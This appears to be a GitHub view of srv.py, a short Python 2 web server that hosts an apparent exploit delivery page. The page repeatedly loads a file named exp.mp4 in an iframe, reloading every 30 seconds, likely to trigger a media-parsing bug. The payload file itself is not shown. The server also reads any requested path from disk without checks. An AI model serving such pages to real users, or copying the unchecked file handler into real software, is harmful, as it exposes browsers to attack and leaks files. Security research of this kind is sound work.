-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsrv.py
84 lines (79 loc) · 2.19 KB
/
srv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from BaseHTTPServer import *
PORT = 8000
FrontPage = '''
<head>
<h5> Exploiting </h5>
<a href="/exp.mp4"> exp.mp4 </a>
<p></p>
<a href="/xuan.mp4"> xuan.mp4 </a>
<p></p>
<a href="/exploit"> exploit </a>
</head>
'''
ExpPage = '''
<!DOCTYPE html>
<html>
<!--
<script>
function load_video()
{
var xhr = new XMLHttpRequest;
xhr.responseType = 'blob';
xhr.onreadystatechange = function()
{
if (xhr.readyState == 4)
{
var url = URL.createObjectURL(xhr.response);
var media = document.getElementById('vid_container');
media.src = url;
}
};
xhr.open('GET', 'exp.mp4', true);
xhr.send();
}
</script>
<body onload="load_video();">
-->
<script>
window.setTimeout('location.reload(true);', 30000);
</script>
<iframe src='/exp.mp4'></iframe>
<!--
<video id="vid_container" controls autoplay />
<embed src='/exp.mp4' autostart="true"></embed>
-->
</body>
</html>
'''
class newRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
mime = 'text/html'
self.send_response(200)
self.send_header('content-type', mime)
self.end_headers()
self.wfile.write(FrontPage)
elif self.path == '/exploit':
mime = 'text/html'
self.send_response(200)
self.send_header('content-type', mime)
self.end_headers()
self.wfile.write(ExpPage)
else:
#mime = 'drm+container_based+audio/mp4'
#mime = 'drm+container_based+video/mp4'
mime = 'video/mp4'
self.send_response(200)
self.send_header('content-type', mime)
self.end_headers()
print self.path
fd = open(self.path[1:],'rb')
self.wfile.write(fd.read())
fd.close()
httpd = HTTPServer(("", PORT), newRequestHandler)
print "Serving localhost: ", PORT
try:
httpd.serve_forever()
except KeyboardInterrupt:
print 'KeyboardInterrupt Shutting Down'
httpd.socket.close()